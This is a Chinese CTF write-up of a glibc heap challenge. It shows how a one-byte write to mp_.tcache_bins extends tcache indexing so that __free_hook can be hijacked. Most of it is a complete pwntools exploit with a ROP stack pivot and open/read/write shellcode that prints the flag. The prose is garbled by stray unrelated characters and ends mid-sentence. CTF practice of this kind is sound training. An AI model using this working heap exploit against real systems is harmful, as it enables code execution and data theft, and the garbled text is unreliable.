分析
本題開(kāi)局開(kāi)了沙盒禁用了execve较沪,給了libc,并且可以向任意地址寫(xiě)一個(gè)字節(jié)鳞绕,這就給了我們很大的操作空間,然后會(huì)申請(qǐng)一個(gè)0x200的堆塊尸曼,然后會(huì)根據(jù)我們輸入的offset向堆塊地址+offset出寫(xiě)入8字節(jié)们何,offset可以很大,然后會(huì)根據(jù)我們輸入的size申請(qǐng)一個(gè)堆塊并輸入content,最后free掉堆塊控轿。
思路
在13:00的時(shí)候放了hint: 試試看打TCACHE_MAX_BINS
根據(jù)提示我們?cè)谠创a中搜索TCACHE_MAX_BINS可以看到
從這里可以看到問(wèn)題所在冤竹,TCACHE_MAX_BINS原值大小為0x40,假設(shè)我們將TCACHE_MAX_BINS(即mp_.tcache_bins)值劫持成一個(gè)很大的數(shù)茬射,那在調(diào)用tcache_get根據(jù)tc_idx索引取堆塊時(shí)就會(huì)超過(guò)原來(lái)的范圍向下取堆塊鹦蠕,假設(shè)entries[tc_idx]恰好又不為0此似乎便會(huì)將起返回
具體做法
首先開(kāi)局的任意地址寫(xiě)我們可以將mp_.bins劫持成一個(gè)大數(shù),此時(shí)可以認(rèn)為tcache_tries數(shù)組已經(jīng)擴(kuò)大了范圍在抛,(實(shí)際上我們可以將其比喻成global_max_bins或許會(huì)比較好理解)然后我們向?qū)?yīng)偏移處寫(xiě)入我們想要申請(qǐng)的地址钟病,在后面申請(qǐng)堆塊的時(shí)候便會(huì)根據(jù)索引取出我們的堆塊,具體的offset和申請(qǐng)的size大小需要根據(jù)調(diào)試來(lái)進(jìn)行調(diào)整刚梭,這里我們選擇劫持free_hook進(jìn)行棧遷移來(lái)orw出flag
完整exp:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
#__Author__ = Cnitlrt
#context.log_level = 'debug'
binary = '2'
elf = ELF('2')
libc = elf.libc
context.binary = binary
DEBUG = 1
if DEBUG:
p = process(binary)
else:
host = "node3.buuoj.cn"
port = 29236
p = remote(host,port)
if DEBUG == 2:
host = ""
port = 0
user = ""
passwd = ""
p = ssh(host,port,user,passwd)
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b :p.sendlineafter(str(a),str(b))
sa = lambda a,b :p.sendafter(str(a),str(b))
lg = lambda name,data : p.success(name + ": 0x%x" % data)
se = lambda payload: p.send(payload)
rl = lambda : p.recv()
sl = lambda payload: p.sendline(payload)
ru = lambda a :p.recvuntil(str(a))
ru("0x")
libc_base = int(p.recv(12),16)-libc.sym["_IO_2_1_stdout_"]
lg("libc_base",libc_base)
gadget = 0x0000000000034fd5#: mov rax, dword ptr [rdi + 0x20]; mov rbp, rdi; test rax, rax; je 0x34fe3; call rax;
poprdi = 0x0000000000026bb2+libc_base
poprsp = 0x0000000000032c5a+libc_base
poprax = 0x0000000000028ff4+libc_base
syscall = 0x0000000000066199+libc_base
pop3r = 0x00000000000e6ce5+libc_base
poprsi = 0x000000000002709c+libc_base
poprdx2 = 0x000000000011c3b1+libc_base
leaver = 0x000000000005a9a8+libc_base
free_hook1 = (libc_base+libc.sym["__free_hook"]) & 0xfffffffffffff000
addr = 0x1ea2d1+libc_base #mp_.tcache_bins
"""
gdb-peda$ parseheap
addr prev size status fd bk
0x557aab5d6000 0x0 0x290 Used None None
0x557aab5d6290 0x0 0x210 Used None None
gdb-peda$ find 0x557aab5d6000
Searching for '0x557aab5d6000' in: None ranges
Found 3 results, display max 3 items:
libc.so.6 : 0x7fbc017d82c8 --> 0x557aab5d6000 --> 0x0
mapped : 0x7fbc0180f110 --> 0x557aab5d6000 --> 0x0
[stack] : 0x7fff6e7291f0 --> 0x557aab5d6000 --> 0x0
gdb-peda$ x/gx 0x7fbc017d82c8+0x8
0x7fbc017d82d0 <mp_+80>: 0x0000000000000040
gdb-peda$
"""
gdb.attach(p)
#---------step1:write a bit anywhere-----
p.recv()
p.send(p64(addr))
p.recv()
p.send(p8(0xff))
#--------step2:hijack free_hook------
p.recv()
p.sendline(str(0x9e8))
p.recv()
p.send(p64(libc_base+libc.sym["__free_hook"]-0xa0))
p.recv()
p.sendline(str(0x1800))
payload = p64(0)+p64(pop3r)+p64(0)*2+p64(leaver)
payload += p64(poprdi)+p64(0)+p64(poprsi)+p64(free_hook1)
payload += p64(poprdx2)+p64(0x1000)*2+p64(poprax)+p64(0)
payload += p64(syscall)
payload += p64(poprsp)+p64(free_hook1)
payload = payload.ljust(0xa0,"\x00")
# print len(payload)
payload += p64(libc_base+gadget)
#--------step3:ORW-flag
p.recv()
p.sendline(payload)
payload = [poprdi,free_hook1,poprsi,0x2000,poprdx2,7,7,poprax,10,syscall,free_hook1+0x70]
sc = shellcraft.open("flag",0);
sc += shellcraft.read("rax",free_hook1+0x300,0x100)
sc += shellcraft.write(1,free_hook1+0x300,0x100)
# gdb.attach(p)
p.sendline(flat(payload).ljust(0x70,"\x90")+asm(sc))
p.interactive()
tips
其中mp._tcache_bins可以這樣找